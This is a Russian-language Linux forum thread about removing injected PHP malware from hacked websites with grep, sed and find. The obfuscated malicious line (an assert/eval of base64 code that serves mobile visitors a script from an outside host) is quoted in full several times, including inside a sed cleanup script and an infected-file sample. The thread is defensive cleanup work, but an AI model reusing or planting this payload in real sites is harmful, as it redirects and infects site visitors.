LinuxForum.Fans
Тема

Поиск и замена сложных строк

Автор: sibero 43 сообщений 6545 просмотров
#288997
sibero написал:
Слово tressa есть только во вредном скрипте. Данная команда выводить сам кусок кода, а как можно его заменить на другой?
Три строчки кода, вроде как пробелов по краям нет.

1) заменить? в качестве инверсии grep -v у тебя злой код в ОДНОЙ строке всего.

2) я имею в виду не пробелы.
абзац == это такая хрень всякого кода которая разделена сверху и снизу пустой строкой.
пример:
(пустая строка)
function {
...
...
...
}
(пустая строка)
another_function {
...

#288998

я занимаю быдлокодингом недавно. и то, grep, sed на все хватает)
поэтому не могу тебе готовое решение предоставить. но направление я тебе дал.

если этого мало, то, либо учи man, либо жди утра, когда проснутся expirience services engineeres и помогут тебе)

#288999
"moshell" написал:
1) заменить? в качестве инверсии grep -v у тебя злой код в ОДНОЙ строке всего.

Не так важно, либо удалить строчку, либо заменить на пробел.

"moshell" написал:
2) я имею в виду не пробелы.
абзац == это такая хрень всякого кода которая разделена сверху и снизу пустой строкой.
пример:

Абзаца нет, код идет строка за строкой.

#289000
sibero написал:
[quote="moshell"]ты сказал что grep не работает..

Если делать grep по слову tressa, то работает. Не получилось сделать grep с использованием всей строки.[/quote]
не понял. у тебя код вредный в одной строке
grep -v tressa
отсечет вредный код.
в грипе есть дополнения. отсекать не только строку с шаблоном, но и ввер на n единиц строк и вниз на n единиц строк. по моеййму так. не пробовал никогда. но Serj как то показывал

#289001
"moshell" написал:
я занимаю быдлокодингом недавно. и то, grep, sed на все хватает)
поэтому не могу тебе готовое решение предоставить. но направление я тебе дал.

если этого мало, то, либо учи man, либо жди утра, когда проснутся expirience services engineeres и помогут тебе)

Спасибо, буду разбираться дальше. Пойду спать, на свежую голову думаю дело пойдет лучше.

#289002

Дружище, тебе скрипт в любом случае писать. либо временные переменные вводить либо еще чего.
другой вопрос, если ты знаком со скриптами bash то думаю для тебя это не проблема.
или зарплату делить будем?)))) [шучу]

#289003
"moshell" написал:
не понял. у тебя код вредный в одной строке
grep -v tressa
отсечет вредный код.

Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.

#289004
sibero написал:

Самое главное удалить строчку вредоносного кода:
text

$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");

по моему мы нашли решение этому

#289005
sibero написал:
[quote="moshell"]не понял. у тебя код вредный в одной строке
grep -v tressa
отсечет вредный код.

Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.[/quote]
а что тебе мешает вывод запихать в переменную?

#289006
"moshell" написал:
Дружище, тебе скрипт в любом случае писать. либо временные переменные вводить либо еще чего.
другой вопрос, если ты знаком со скриптами bash то думаю для тебя это не проблема.
или зарплату делить будем?)))) [шучу]

На bash по немногу пишу, но с данной задачей справиться не получилось. Продолжу копать дальше, за советы, ещё раз, спасибо.

#289007

эх. Дока не хватает. в пару строк решил бы задачу

#289009

ну вы тут и нафлудили... всё же достаточно просто:

text
alexander@goblin /tmp $ cat ./s.sed
#!/bin/sed -f
/<?php/{
        N
        N
        s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!
}
alexander@goblin /tmp $ head f
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb']; alexander@goblin /tmp $ ./s.sed f |head // here was bad evil virus <?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) {

"sibero" написал:
Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.

обычно после этого выкладывают свой нерабочий вариант...

"moshell" написал:
первый раз слышу такое.. 99,5почему не 99,9?сомневаешься?)

в 0,4999 случаях на sed'е пытаются калькулятор или тетрис написать... это возможно, но рука сама тянется к виску...

#289010

ну вот и Фат пришел)
доброе утро!

а мы пожалуй спать. всю ночь пить, петь караоке, да еще тут задачи решать, подзадротел-подзадротел..

#289013
"sibero" написал:
Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.

Ссылка в тему »


Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).
#289065

А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.

#289239
"Fat-Zer" написал:
ну вы тут и нафлудили... всё же достаточно просто:

К сожалению, не понял как применить ваше решение.

"Fat-Zer" написал:
обычно после этого выкладывают свой нерабочий вариант...

Учту, вариантов было много, в основном эксперименты с sed.

"Lupo Alberto" написал:
Ссылка в тему »

Очень полезная статья, спасибо.

"neogotlic" написал:
А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.

Оперой перестал пользоваться, как только закончилось время dialup. Сайты взломали не у меня, я просто помогаю в удалении заразы.




Пока искал решение, более опытный коллега решил задачу проще.

Находим зараженные скрипты и записываем список в фаил

text
find ./ -type f -name "*.php" -print | xargs grep -l -e "$_ = strrev('tressa')" > list

Удаляем код вируса:

text
for i in `cat list`; do sed -i '1,3d' $i; done

Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

#289241
"sibero" написал:
К сожалению, не понял как применить ваше решение.

парсить всё это по такому шаблону:
alexander@goblin /tmp $ cat ./s.sed
<код sed скрипта>
alexander@goblin /tmp $ head f
<показал, что было до применения>
alexander@goblin /tmp $ ./s.sed f | head
<показал, как оно работает и что получается после>

#289242
"Fat-Zer" написал:
ну вы тут и нафлудили... всё же достаточно просто:

Спасибо вам за помощь, разобрался как применить. Сделал

text
sed -i -f s.sed script.php

в s.sed поместил сигнатуру.

#289249
sibero написал:
Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).
sibero написал:

Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

ну ты и флудерас

#289250
"moshell" написал:
sibero пишет:

Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).

sibero пишет:

Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

ну ты и флудерас

Хотелось более универсальное решение сделать, изначально я не хотел решать задачу таким способом. Решения которые предложили Lupo Alberto и Fat-Zer, мне нравятся гораздо больше.

Войдите или зарегистрируйтесь, чтобы ответить.